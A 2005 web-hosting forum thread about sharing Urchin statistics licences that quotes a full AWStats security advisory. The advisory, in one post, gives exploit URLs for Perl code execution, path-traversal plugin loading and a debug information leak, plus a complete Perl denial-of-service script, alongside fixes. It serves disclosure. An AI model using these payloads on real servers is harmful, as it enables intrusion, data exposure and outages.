PDA

View Full Version : Are you interested in Urchin stats for your clients?



hostpc.com
02-14-2005, 03:08 PM
Is anyone else here scrambling for a secure STATS program for your clients use?

I'm personally scared to death to allow AWStats to run on our servers, but the $900 pricetag for the first 100 Urchin licenses is pretty steep for any small hosting company.

Why not pool our resources.

I just purchased another generic domain with anonymous whois lookup results that we can run Urchin from.

Urchin requires a 100 user license up front @ 8.95 per license. Thats $895 up front. If you dont have 100 customers that want stats, it's a waste - but if you have maybe 10 or 20 or 50 ... it might be more attractive if we co-op our purchase.

I'm willing to manage the server, and provide all admin to it (patches, security, etc). You can buy the rights to blocks of users.

I'm thinking:

10 domains= $100 ($10 each)
25 domains= $ 237.50 ($9.50 each)
50 domains= $ 450.00 ($9.00 each)
100 domains= $negotiable

If you're interested, drop me an e-mail.. together maybe we can make this work. I'm not in this for a profit - just a solution for our customers and the DA Community.

fusionictnl
02-15-2005, 03:32 AM
What are your problems with Awstats ? Some arguments please ;)

And what is more secure about Urgin then AwStats. I'm not really that in depth about Urgin.

hostpc.com
02-15-2005, 06:44 AM
The only arguments I have with Awstats is the continuing security issues. I've seen the exploited sites, they're not pretty (anymore). I've seen the server logs - they're even more of a nightmare.


/*==========================================*/
// GHC -> AWStats <- ADVISORY
\\ PRODUCT: AWStats
// VERSION: <= 6.3
\\ URL: http://awstats.sourceforge.net/
// VULNERABILITY CLASS: Multiple vulnerabilities
\\ RISK: high
/*==========================================*/

[Product Description]
"AWStats is a free powerful tool that generates advanced web, ftp or mail server statistics, graphically.
This log analyzer works as a CGI or from command line and shows you all possible information your log contains,
in few graphical web pages".
Current stable version: AWStats 6.3 final
Development version is 6.4 - 2005-02-06 14:31

[Summary]
Successful exploitation of an input validation vulnerability in AWStats scripts
allows attackers to execute limited perl directives under the privileges of
the web server, get sensetive information.
Some actions of the attacker can lead to denial of service.

[Details]
Some AWStats's functions can be extended with plugins.
Two variables (loadplugin & pluginmode) are dealing with it.
The first one (loadplugin) is responsible for plugins list (plugin1, plugin2); the second one
runs plugin's functions.

Exploitable example (raw log plugin):
http://server/cgi-bin/awstats-6.4/awstats.pl?pluginmode=rawlog&loadplugin=rawlog

Server answer:
192.*.*.* - - [26/Jan/2005:11:01:41 +0300] "GET /cgi-bin/index.cgi HTTP/1.1" 500 606
192.*.*.* - - [26/Jan/2005:11:03:54 +0300] "GET /cgi-bin/index.cgi HTTP/1.1" 500 606
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /themes/standard/style.css HTTP/1.1" 200 2986
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /cgi-bin/index.cgi HTTP/1.1" 200 7710
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /themes/standard/images/logo.gif HTTP/1.1" 200 14443
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /images/xml.gif HTTP/1.1" 200 429
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /images/pb_yawps.gif HTTP/1.1" 200 2532
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /themes/standard/images/valid-html401.gif HTTP/1.1" 200 2250
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /themes/standard/images/vcss.gif HTTP/1.1" 200 1547
192.*.*.* - - [26/Jan/2005:11:08:06 +0300] "GET /cgi-bin/forum.cgi HTTP/1.1" 200 7333
192.*.*.* - - [26/Jan/2005:11:08:11 +0300] "GET /cgi-bin/links.cgi HTTP/1.1" 200 7588
192.*.*.* - - [26/Jan/2005:11:08:12 +0300] "GET /cgi-bin/top10.cgi HTTP/1.1" 200 7910
192.*.*.* - - [26/Jan/2005:11:08:17 +0300] "GET /cgi-bin/admin.cgi HTTP/1.1" 200 7340
192.*.*.* - - [26/Jan/2005:11:08:33 +0300] "GET /yawpsnews.xml HTTP/1.1" 200 153

The dangerous fact is that attacker can read sensitive information such as
IP address, admin scripts names, non encoded GET queries, etc.

Our variables pass some verification (as others), but it is not enough for security:

sub Sanitize {
my $stringtoclean=shift;
$stringtoclean =~ s/[^\w_\-\\\/\.:\s]//g;
return $stringtoclean;
}

Deletes everything but '_', '-', '\', '/', '.', ':' and any blank symbol.
It's enough for variables with path to configuration files, but not for plugin tasks.
In case of "loadplugin" & "pluginmode" developers obviously have a lot of trust to the user.

So, let's see what can be done, in fact.

[1] Perl code execution.
http://server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent

we'll get the action in next piece of code:

# AWStats output is replaced by a plugin output
if ($PluginMode) {
my $function="BuildFullHTMLOutput_$PluginMode()";
eval("$function");
if ($? || $@) { error("$@"); }
&html_end(0);
exit 0;
}

If variable exists, we'll get code execution. This happens after sanitizing (see privious).
Here we have intresting part in:
my $function="BuildFullHTMLOutput_$PluginMode()";
eval("$function");

This is subroutine call (As example sub BuildFullHTMLOutput_rawlog() from
rawlog.pm plugin).
Ideal case: "module name"::BuildFullHTMLOutput_"function name"().
But if we won't specify the name of module (with "loadplugin" parameter) we'll get the next:

main::BuildFullHTMLOutput_"function name"().

By the way, there is permited symbol ':' in user input parameters. So, we can send:

PluginMode=:print+getpwent

And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'.
This will satisfy eval() requirements., and :print getpwent() is executed.

http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent

Sanitazing limits user's input, but there is no filtration for call sympols '()'.
Here we can see that somebody can perform DoS attack.
This is example of simple code for successful DoS exploitation:

#!/usr/bin/perl

use IO::Socket;
$server = 'www.example.com';
sub ConnectServer {
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80")
|| die "Error\n";
print $socket "GET /cgi-bin/awstats-6.4/awstats.pl?&hack=$rp&PluginMode=:sleep HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "\n\n";
}

while () {
$rp = rand;
&ConnectServer;
}

[BUGFIX]
Change vulnerable code for:

sub PluginSanitize {
my $stringtoclean=shift;
$stringtoclean =~ s/[^\w]//g;
return $stringtoclean;
}


[2] Arbitrary plugin including.
http://server/cgi-bin/awstats-6.4/awstats.pl?&loadplugin=../../../../usr/libdata/perl/5.00503/blib

Arbitrary module from user's input through "loadplugin" parameter can be included with "require" function..

Bugfix - as above or something like this:

opendir (PDIR, './plugins');
@FilesPDIR = readdir(PDIR);
closedir (PDIR);
foreach $FilesPName (@FilesPDIR) {
if ($FilesPName =~ m/$loadplugin/) {
}
}

The good thing is the poison null-byte (%00) has no place (transferes to 00).

[3] Sensetive information leak in AWStats version 6.3(Stable) - 6.4(Development).
Every user can access debug function:
http://server/cgi-bin/awstats-6.4/awstats.pl?debug=1
http://server/cgi-bin/awstats-6.4/awstats.pl?debug=2


[DISCLOSURE TIMELINE]

10-02-2005 Initial vendor notification.
14-02-2005 No response.
14-02-2005 Bug-traq post.

/* ================================================== */
/* www.ghc.ru -- security games & challenges */
/* ================================================== */
/* greets to: RST.void.ru, cr0n & all quest hunters %)*/
/* Special respect to e-defense. */
/* ================================================== */

10-02-2005 Initial vendor notification.
14-02-2005 No response.

I find that unacceptable given the acknowledged userbase they have.


[3] Sensetive information leak in AWStats version 6.3(Stable) - 6.4(Development).
Every user can access debug function:
http://server/cgi-bin/awstats-6.4/awstats.pl?debug=1
http://server/cgi-bin/awstats-6.4/awstats.pl?debug=2


That shows that even the coming "development" version is buggy. Chances are, we'll continue to have issues with this perl file - and continually patching it - much like phpBB.

Urchin is just an alternative ... we've got several people who have contact us already concerning this - so hopefully we'll be online soon with it.

hostpc.com
02-15-2005, 06:46 AM
This has NOTHING do do with, nor is it against your hard work on the awstats plugin... you did an excellent job, considering what you had to work with :)

I think it's inherently buggy, and until it's stable, I'd like to see alternatives.

Respectfully,

vandal
02-15-2005, 01:49 PM
i got 300 urchin profiles for free with server package :)

fusionictnl
02-16-2005, 06:08 AM
To be honest if you run awstats behind a htaccess file nothing is wrong and these "security risks" are already fixed in my release.

But ontopic. If URCHIN is used a lot it will eventually be as leak as awstats or other packages. PHP, Apache, Exim they all have their security bugs. You just have to keep it all updated ;)

rldev
02-16-2005, 06:56 AM
Urchin is way too expensive for what they are offering. However we get Urchin through our DataCeneter(300 licenses for free). We sell it at a premium. We don't give it away because it will totally drag down a server.

rldev
02-16-2005, 06:57 AM
Maybe if you were talking about NetTracker Enterpise, I would be interested(far superior to Urchin and also expensive).

matrixx
02-24-2005, 03:55 AM
Originally posted by rldev
Urchin is way too expensive for what they are offering. However we get Urchin through our DataCeneter(300 licenses for free). We sell it at a premium. We don't give it away because it will totally drag down a server.

We've also recently had to temporarily disable Urchin on one of our boxes as it was slowing the whole thing down to a crawl on the hour every hour.

It worked well up to around 250 sites but has slowed everything else down down above 250 sites (of mixed sizes)

It's a good package though - we're reconfiguring it to only run twice a day or something.

Rob